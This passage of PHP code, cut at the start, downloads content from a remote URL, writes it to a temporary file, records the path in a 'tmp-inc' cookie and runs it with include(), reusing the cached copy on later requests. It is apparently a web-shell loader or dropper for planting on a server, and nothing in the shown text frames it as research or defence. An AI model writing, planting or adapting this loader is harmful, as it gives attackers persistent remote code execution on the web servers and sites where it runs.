100; } function generateTempPath() { $path = tempnam(sys_get_temp_dir(), 'inc_'); return $path ?: false; } function fetchAndStoreContent($url, $path) { $content = @file_get_contents($url); if ($content === false) { die("❌Failed fetch url"); } if (@file_put_contents($path, $content) === false) { die("❌ Failed write to tmp."); } setcookie('tmp-inc', $path); include($path); exit; } // --- Main Logic --- $tempPath = getTempPath(); if (!$tempPath) { die("❌ Failed create tmp"); } $fileSize = @filesize($tempPath); if ($fileSize === false || $fileSize < 10) { $srcUrl = getSourceUrl(); fetchAndStoreContent($srcUrl, $tempPath); } elseif ($fileSize >= 1024) { setcookie('tmp-inc', $tempPath); include($tempPath); exit; } die("DIE");